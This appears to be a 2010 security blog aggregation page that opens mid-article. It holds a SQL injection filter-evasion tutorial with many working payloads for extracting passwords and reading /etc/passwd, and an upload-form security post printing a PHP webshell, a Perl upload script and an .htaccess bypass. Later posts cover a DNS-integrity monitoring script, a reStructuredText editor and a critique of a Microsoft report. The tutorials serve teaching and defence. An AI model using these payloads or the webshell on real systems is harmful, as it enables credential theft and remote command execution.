?id=1 or 1=1 LIMIT x,1-- -

But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.
So you would like to know what the table and column names are and you try the following:
?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

After you have found interesting tables and its column names you can start to extract data.
?id=1 and 1=0 union select null,password,null from users limit 1,1-- -


Whitespaces, quotes and slashes filtered
Of course things aren't that easy most time. Now consider the following filter for some extra characters:
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes

As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).
?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can't be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take "#" (not urlencoded for better readability).
?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#

Instead of a quoted string we can use the SQL hex representation of the found table name:
?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#

Nice.

Basic keywords filtered
Now consider the filter additionally checks for the keywords "and", "null", "where" and "limit":
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
    exit('attack'); // no sqli keywords

For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:
?id=1#
?id=2-1#

To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder "null" we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:
?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#


This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.

WHERE alternative
The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn't work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:
?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#

This will definitely fit into 1024 chars, but you can also use database() to get the current database name:
?id=(0)union(select(0),database(),(0))#

Lets assume your database name is "test" which hex representation is "0x74657374". Then we can use HAVING to get all table names associated with the database "test" without using WHERE:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#

Note that you have to select the column "table_schema" in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:
?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#

We use "&&" as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#
Unfortunately you can't use group_concat() while using HAVING hence the excluding step by step.

Intermediate result
What do we need for our injections so far?
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#


Advanced keyword filtering
Now its getting difficult. The filter also checks for all keywords previously needed:
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id))
    exit('attack'); // no sqli keywords
if(preg_match('/(union|select|from|having)/i', $id))
    exit('attack'); // no sqli keywords


What option do we have left?
If we have the FILE privilege we can use load_file() (btw you can't use into outfile without quotes and spaces). But we can't output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns "null" if the file could not be read, but since the keyword "null" is filtered we cant compare to "null" or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:
?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))

This will return the length of the file content or, if the file could not be read, a "1" and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:
?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)

(while $char is the character in sql hex which is compared to the current character of the file at offset $x)
We bypassed the filter but it requires the FILE privilege.

Filtering everything
Ok now we expand the filter again and it will check for file operations too (or just assume you don't have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
    exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
    exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
    exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
    exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
    exit('attack'); // no sqli comments

The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?

We cant use procedure analyse() because it needs a space and we cant use the '1'%'0' trick. Basically we only have special characters left, but that is often all we need.

We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn't be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:
?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

This will return 1 to the id if the first char of the password is "a". Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters "&&" and "||" to check, if the first character of the pass is "a":
?id=1&&mid(pass,1,1)=(0x61);%00

We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:
?id=2&&mid(pass,1,1)=(0x61);%00
?id=3&&mid(pass,1,1)=(0x61);%00

Of course this takes some time and mostly you are only interested in one specific password, for example of the user "admin" but you dont know his id. Basically we want something like:
?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

The first attempt could be:
?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

That does not work because the "OR 1=1" at the beginning is stronger than the "AND" so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the "OR 1=1" at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id's:
?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

If the character of the password is guessed correctly we will see "Hello admin" otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.

Filtering everything and more ...
What else can we filter to make it more challenging? Sure, some characters like "=", "|" and "&".
if(preg_match('/\s/', $id))
    exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
    exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
    exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id))
    exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id))
    exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id))
    exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id))
    exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id))
    exit('attack'); // no sqli comments
if(preg_match('/(=|&|\|)/', $id))
    exit('attack'); // no boolean operators

Lets see. The character "=" shouldn't be problematic as already mentioned above, we simply use "like" or "regexp" etc...:
?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00

The character "|" isn't even needed. But what about the "&"? Can we check for the name="admin" and for the password characters without using logical operators?
After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = "admin":
?id=if((name)like(0x61646D696E),1,0);%00

This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin's id we return his id instead of 1:
?id=if((name)like(0x61646D696E),id,0);%00

Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:
?id=
if(
  // if (it gets true if the name='admin')
    if((name)like(0x61646D696E),1,0),
  // then (if first password char='a' return admin id, else 0)
    if(mid((password),1,1)like(0x61),id,0),
  // else (return 0)
    0
);%00

Injection in one line:
?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00

Again you will see "Hello admin" if the password character was guessed correctly and otherwise you'll see nothing (id=0).

Mitigating
All of this could be avoided by using the followig snippet :
$id = (int) $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

I absolutely recommend a deep reading of the Reiner's blog if you're interested in those topics as it contains even more informations about web application security in general.
You may also have a look at his slides about SQLi injection filter evasion.
Source for this article :Reiner's Blog on Exploiting Hard filtered SQL injection

mercredi 15 décembre 2010 20:05

décembre 07, 2010

Alexandre De Dommelin - Laotseu

Mitigating security threats in upload forms

Nowadays most web applications allow users to upload files (pictures, videos, documents ...).
Providing such feature could open huge security holes such as file disclosure, remote arbitrary file execution ..., I'll try to point out some security flaws due to bad implementation and will suggest some guidelines to improve security.


The poor-man's upload form

The visible part :

<form name="my_upload" action="upload.php" method="post" enctype="multipart/formdata">
File : <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
And it's action (upload.php):
<?php
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo "Upload OK";
} else {
        echo "Upload Failed";
}
?>

This implementation is weak as an attacker could upload a webshell and remotely execute commands on the server, here's a very basic one :
<?php  
system($_GET['command']);  
?>  
The upload could be triggered using a small perl script like that :
#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;
$_r = $ua->request
        ( POST 'http://foo.bar/upload.php',
          Content_Type => 'form-data',
          Content => [userfile => ["shell.php", "shell.php"],],
        );
print $_r->as_string();


Blacklisting extensions

Blacklisting extensions is generally not a good way to protect yourself, considering the previous upload.php with a blacklisting mechanism :
<?php
$blacklist = array(".php", ".php4", ".php5");  
foreach ($blacklist as $ext) {  
        if(preg_match("/$ext$/i", $_FILES['userfile']['name'])) {  
                die("Forbidden extension");  
        }  
}  
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo "Upload OK";
} else {
        echo "Upload Failed";
}
?>
An attacker could start by uploading a .htaccess containing the following line :
AddType application/x-httpd-php .png
And then upload its webshell renamed to shell.png, which will be executed, bypassing your "protection". (just note that move_uploaded_file default behaviour is to overwrite any already existant file).


Further Notes :
Looking for the "." character in the filename and extracting the string positionned after is neither a good way to do. In fact the way that Apache handles files with multiple extentions could lead to script execution. Here's an extract from the Apache Doc :

" Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html."

In this case, an attacker could upload "shell.php.gna" (the last extension must be something not present in the Apache Mime-Types), which will be executed as a normal PHP script.
A better approach would be to whitelist extensions, but it some cases it will not work as expected. When Apache is configured to execute PHP code, there are 2 ways to specify this: using the AddHandler directive, or to using the AddType directive. If AddHandler directive is used, all filenames containing the ".php" extension (e.g. ".php", ".php.png") will be executed as a PHP script.
So if your Apache configuration file contains the following line, you may be still vulnerable as shell.php.png will be executed too :
AddHandler php5-script .php


Checking Content-Type / Mime-Type

Considering an application where only PNG images are allowed, you could think that checking the Content-Type could be sufficient, see our brand-new upload.php :
<?php
if($_FILES['userfile']['type'] != "image/png") {  
        die("Only PNG Images are allowed");  
}  
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo "Upload OK";
} else {
        echo "Upload Failed";
}
?>
Content-Type is part of the request, so quite easy to bypass the protection using for example our slightly modified Perl script :
#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;
$_r = $ua->request
        ( POST 'http://foo.bar/upload.php',
          Content_Type => 'form-data',
          Content => [userfile => ["shell.php", "shell.php", "Content-Type" => "image/png"],],
        );
print $_r->as_string();


Using getimagesize() to ensure that uploaded file is an image

getimagesize() is a widely used function to validate that a file is an image, it also allows the developer to extract image dimensions.
This function will return false against a file which is not an image, true otherwise. Here's a widely seen implementation, based on our upload.php :
<?php
if(!getimagesize($_FILES['userfile']['tmp_name'])) {
        die("Only Images are allowed");
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo "Upload OK";
} else {
        echo "Upload Failed";
}
?>
An attacker could, for example generate a "valid" image embedding PHP code :
cat twitter.png shell.php > twitter_shell.php.png
The previous command will create a new file called "twitter_shell.php.png" with a valid image header which will bypass our getimagesize() check.


Client-side validations

I won't spend time on this point as mostly everthing checked client-side can be quite easily bypassed by for example disabling JS, using an interception proxy or writing down some scripts.


Conclusion : suggestions

Here's a list of suggestions you should implement to build a secure upload form, but not limited to :

mardi 07 décembre 2010 18:35

novembre 25, 2010

Alexandre De Dommelin - Laotseu

Domain Integrity Checker shell script

Yesterday, Secunia's (a popular security company) website have been defaced.
Their servers weren't hacked, but their DNS were hijacked, to point to another location. Whois records were updated one day ago, then a change in their NS was done to make the traffic redirected.

This attack shows the need to always keep an eye on Whois / DNS configuration to react very quickly in case of alteration.

I've written a small shell script that perform this type of monitoring (very basically), it obviously needs some improvements, but it can easily be extended. It comes with no warranty, don't blame me if your dog / wife / ... leaves because of it. Just add an entry in your crontab calling the following command :

/usr/local/bin/domain_integrity_checker.sh check

Please be sure to configure the script & run "update_db" before enabling the crontab.

#!/bin/bash
#
# Domain Integrity Checker - (c) 2010 Alexandre De Dommelin
#
# This program is free software. It comes without any warranty, to
# the extent permitted by applicable law. You can redistribute it
# and/or modify it under the terms of the Do What The Fuck You Want
# To Public License, Version 2, as published by Sam Hocevar. See
# http://sam.zoy.org/wtfpl/COPYING for more details.
#

HASHES_DB="/etc/domain_integrity_checker.db"
DOMAINS=( "foo.com" "bar.com" )
ALERT_DEST="alerts@example.com"


update_db() {
        if [ -f ${HASHES_DB} ];
        then    
                rm -f ${HASHES_DB} &> /dev/null
        fi
        
        touch ${HASHES_DB}
        for domain in ${DOMAINS[@]};
        do      
                HASH=`whois ${domain} | egrep -v '^#|^$|^>' | md5sum | cut -d " " -f 1`
                SOA_SN=`dig +short -t SOA ${domain} | cut -d " " -f 3`
                echo "${domain}#${HASH}#${SOA_SN}" >> ${HASHES_DB}
        done
}

check_domains() {
        for domain in ${DOMAINS[@]};
        do      
                CUR_HASH=`whois ${domain} | egrep -v '^#|^$|^>' | md5sum | cut -d " " -f 1`
                CUR_SOA_SN=`dig +short -t SOA ${domain} | cut -d " " -f 3`
                DB_HASH=`grep "^${domain}" ${HASHES_DB} | cut -d '#' -f 2`
                DB_SOA_SN=`grep "^${domain}" ${HASHES_DB} | cut -d '#' -f 3`
                
                if [ "${CUR_HASH}" != "${DB_HASH}" -o "${CUR_SOA_SN}" != "${DB_SOA_SN}" ];
                then    
                        WHOIS_INFOS=`whois ${domain} | egrep 'Name Server:|Updated Date:'`
                        send_alert "${domain}" "${CUR_SOA_SN}" "${WHOIS_INFOS}"
                fi
        done
}

send_alert() {
        SUBJECT="[Security Alert] :: Domain $1 integrity check failed"
        BODY="Domain: $1\nSOA Serial Number: $2\nInfos :\n$3"
        echo -e "${BODY}" | mail -s "${SUBJECT}" "${ALERT_DEST}"
}

usage() {                                                                                                                                               
        echo "Usage: $0 {update_db|check}"                                                                                                              
        exit 1
}


case "$1" in
        update_db)
                update_db
                exit 0
        ;;

        check)
                if [ ! -f ${HASHES_DB} ];
                then
                        echo "No database found, please run update_db first"
                        usage
                else
                        check_domains
                fi
        ;;

        *)
                usage
        ;;
esac

jeudi 25 novembre 2010 21:08

novembre 24, 2010

Encolpe DEGOUTE

Comment éditer du ReStructuredText facilement

La communauté python utilise massivement le ReStructuredText et Sphinx pour créer de la documentation. Le gros avantage est qu’il ne demande pas beaucoup d’apprentissage et qu’il est capable de sortir des documents dans de nombreux formats (PDF, HTML, ODT, etc) et d’accepter des feuilles de style. Le problème qui revient souvent est la présence de fautes de syntaxe ce qui oblige à faire de nombreuses compilations du code dans les format de sortie finaux.

Enthought a écrit un début d’éditeur au sein de sa suite opensource (An editor for ReStructured Text et A Renewed ReStructuredText Editor!). Malheureusement aucun exécutable ne permet de lancer cet éditeur lors de l’installation de base de la suite. Voici comment corriger ce point :

$ sudo apt-get install python-enthoughtbase python-traits python-traitsgui
$ sudo touch /usr/local/bin/Rested
$sudo chmod +x /usr/local/bin/Rested

Ce fichier doit contenir le code suivant :

#!/usr/bin/python

from enthought.rst.rest_editor_view import ReSTHTMLEditorView
app = ReSTHTMLEditorView()
app.configure_traits()

Maintenant la commande ‘Rested nom_de_fichier’ vous permettra d’éditer vos fichiers avec un rendu en temps réel.

Récemment Enthought a sorti cet éditeur de sa suite pour qu’il puisse vivre sa propre vie et réduire ses dépendances. Vous pouvons obtenir et contribuer en utilisant le lien suivant : https://svn.enthought.com/svn/enthought/Rested/trunk

Il y a pas mal de petits bugs à corriger et une gestion des locales est à rajouter.


mercredi 24 novembre 2010 23:56

Quels arguments pour les logiciels libres face à ceux de Microsoft

Sur les listes de l’ALDILune discussion a commencé au sujet de ce rapport publié sur le site TechNet de Microsoft titré « Microsoft – Etude de vulnérabilité ».  J’ai fait une analyse rapide du document et je relève plusieurs points que l’ont peut facilement démonter.

Au sujet de la pertinence globale

Je cite : « Ce livre blanc est fourni à titre informatif uniquement.
MICROSOFT N’ACCORDE AUCUNE GARANTIE, EXPRESSE OU TACITE, PAR LE BIAIS DE CE DOCUMENT. »

Je résume, ça nous arrange mais nous ne sommes pas responsables s’il y a des erreurs.

Pertinences des bugs

Une installation ‘de base’ d’une station linux contient déjà beaucoup plus de logiciels installés que la version de Windows toutes versions
confondues. De plus certains bugs se rapportent pas à une utilisation de base même s’ils font partie de l’installation de base.
Par exemple pour ubuntu 9.04 sur les 10 derniers bugs répertoriés :

- ISDN : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4005
- HFS : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4020
- BIND (n’est pas installé par défaut) :
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4022
- EXT4 (pas par défaut non plus, seulement à partir de 10.04) :
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4131 et
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4308
- KERNEL 2.6.32 : Il n’est pas disponible avant ubuntu 10.04

Il faudrait faire une analyse plus poussée mais il est clair qu’ils n’ont pas correctement ciblés les vulnérabilités.

Pertinence de la vitesse résolution

Quasiment tous les bugs microsoft sont marqués résolus en une journée alors que les mises-à-jour sont mensuelles…

Conclusion

Voilà pour une analyse technique de ce rapport. C’est un rapport volontairement approximatif.

Encore un FUD.


mercredi 24 novembre 2010 00:02